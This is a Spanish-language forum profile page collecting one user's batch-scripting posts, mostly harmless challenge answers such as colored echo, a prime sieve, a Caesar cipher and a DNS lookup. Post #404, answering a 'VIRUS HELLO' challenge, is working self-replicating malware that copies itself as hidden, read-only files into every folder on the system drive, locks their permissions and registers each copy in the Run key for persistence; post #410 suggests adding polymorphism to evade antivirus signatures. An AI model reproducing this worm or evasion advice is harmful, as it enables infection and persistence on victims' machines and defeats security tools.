Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Binary_Death

#401
Scripting / [BATCH] Colored ECHO función
22 Julio 2012, 01:03 AM
Esta es una versión que hice de la ya muy antigua función de echo coloreado usando findstr.
¿Recuerdan que siempre quedaban los dos puntos al final de la cadena? He visto formas de eliminarlos que hicieron algunos usuarios, de varias maneras.

Aquí dejo yo una que es muy corta:


@Echo Off
for %%x in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
for %%y in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
call:_echo "Color %%x%%y" %%x%%y
)
)
exit
:_echo
chdir "%temp%"
exit|cmd /k prompt $H>"%~1"
findstr /v /a:%~2 /r "^$" "%~1*" && ECHO+
del /f /q "%~1"
goto:eof


Como pueden ver, aquí el propio carácter backspace está incluido en en fichero que se le pasa como parámetro a findstr.

Un saludo
#402
Pues no es la mejor manera de hacerlo, pero yo había hecho una cosilla hace un tiempo que para este reto me irá como anillo al dedo  :rolleyes:


@Echo Off
SetLocal EnableDelayedExpansion
Title Criba de Eratostenes
::Coded By Binary_Death
Set/P "Utl=Until >> "
:_Main
Set/A "ActN=1"
For /l %%z in (2,1,%Utl%) do (
 Set "Lst=!Lst! %%z"
)
:_LoopA
For /f "Tokens=%ActN% Delims= " %%n in ("%Lst%") do (
   Set/A "Qrd=%%n*%%n"
If !Qrd! GTR %Utl% GoTo:_EndA
  For %%l in (%Lst%) Do (
    Set/A "Rst=%%l%%%%n"
       If %%l EQU %%n Set/A "Rst=1"
       If !Rst! NEQ 0 Set "NLst=!NLst! %%l"
   )
  Set "Lst=!NLst!" & Set "NLst=" & Set/A "ActN+=1"
)
Goto:_LoopA
:_EndA
Echo.&Echo.%Lst%
Pause > NUL
Exit


Ale, espero que se me dé por válido.

PD: "Until >> " es hasta el número que vas a extraer los primos. Por ejemplo, si pones 100, obtendrás todos los primos del 1 al 100. Si pones 1000, pues lo dicho.
Tiene un límite, no puesto por mí, sino por la cmd y los métodos que usa el programa. Ese límite es "1851". Un número más grande rompe el programa  :P
#403
Scripting / Re: [Reto Batch] Get IP from DNS
22 Julio 2012, 00:44 AM
Solución:


@Echo Off
if "%~1" EQU "" goto :eof
for /f "tokens=2 delims=[]" %%_ in (
'"ping %~1 -n 1"'
) do (echo: %%_)
exit /b


Pasa que, ahora que me fijo, viene a ser lo mismo que los otros códigos... Es que no se puede hacer distinto y mejor, tampoco  :xD
#404
Scripting / Re: [Reto Batch] VIRUS HELLO !!
22 Julio 2012, 00:32 AM
Aquí te dejo el código:


@Echo Off
setlocal enableextensions enabledelayedexpansion
if "%~1" EQU "reginit" goto :_reginit

for /f "tokens=*" %%_ in (
'dir /b /s /a:d "%SystemDrive%\"'
) do (
set "rdir=%%_\!random!!random!.cmd"
copy /y "%~0" "!rdir!"
attrib +h +r "!rdir!"
echo.S|cacls "!rdir!" /P %username%:R
reg add "hkcu\software\microsoft\windows\currentversion\run" /v "!rdir!" /d "cmd /c \"\"!rdir!\" \"reginit\"\"" /f
) 1>nul 2>&1
exit

:_reginit
echo: Hello World^^!
pause 1>nul
exit


Un saludo.
#405
Pues es el operador módulo, que es en programación, en la mayoría de casos, %

Por la forma cómo la cmd interpreta las variables, en un fichero por lotes es necesario poner un doble %.

Por ejemplo:


@Echo Off
set /a "mod=11%%2"
Echo.11 mod 2 = %mod%
pause > nul
exit


PD: Tu código es corto, pero estaría bien que lo pusieras entre sus etiquetas pertinentes  :P

Un saludo.
#406
Scripting / Re: [Reto Batch] It's a dir?
22 Julio 2012, 00:00 AM
Pues aquí mi solución:


@Echo Off
set/p "dpath=Path >> "
for /f "tokens=*" %%_ in ('dir /b "%dpath%"') do (
1>nul 2>&1, (dir /b /a:d "%dpath%" | findstr /r /i "^%%_$") && (
echo: TRUE %%_
) || (
echo: FALSE %%_
)
)
pause 1>nul & exit


Con fomato similar a la imagen de ejemplo.
#407
Scripting / Re: [Reto Batch] cifrado caesar
21 Julio 2012, 22:59 PM
Dejo aquí lo que hice yo:


@Echo Off
setlocal enableextensions enabledelayedexpansion

set /p "text=Texto: "
set /p "rotn=Desplazamiento: "
call:_caesar "%text%" "%rotn%"
echo: -Cadena cifrada ^>^> %ret_str%

pause 1>nul & exit

:_caesar
if "%~1" EQU "" goto :EoF
set "chr_lst=abcdefghijklmnopqrstuvwxyz"
set "string=%~1" & set "ret_str="
for /l %%i in (0,1,25) do set/a c[!chr_lst:~%%i,1!]=%%i
set /a cnt=-1
:__loop.a
set /a cnt+=1
set "chr=!string:~%cnt%,1!"
if not defined chr goto :eof
if "%chr%" EQU " " set "ret_str=%ret_str% " & goto :__loop.a
set /a "num_cs=(!c[%chr%]!+%~2) %% 26"
set "ret_str=%ret_str%!chr_lst:~%num_cs%,1!"
goto :__loop.a


PD: Ups! Se me olvidó lo de descifrar. Pero da igual, basta con poner la clave en negativo.
Por ejemplo, si cifras "hola" con desplazamiento 5, da "mtqf". Si cifras "mtqf" con desplazamiento -5 da "hola". Así que supongo que os sirve igual  :P

PD2: Funciona tanto con mayúsculas como con minúsculas, pero la cadena cifrada la retorna siempre en minúsculas.
#409
Esto te debería funcionar:


@Echo Off
setlocal enabledelayedexpansion
set "correo=!correo:@=%%40!"
echo: %correo%
pause 1>nul
exit
#410
Es muy extraño que un AV detecte un script batch.
Si lo hace, es en su mayoría por algún código VBS que tiene metido por ahí o algunos datos que incorpora el código que son muy típicos de los malware (es decir, en este caso, todas las páginas que se añaden a hosts).

Fuera de eso, es prácticamente imposible que se haga detectado. Se cuentan con los dedos de una mano los virus en batch que tienen su firma añadida a la database de algún AV, y de ser así, añadiendo una pequeña rutina de polimorfismo ya está salvada la dificultad.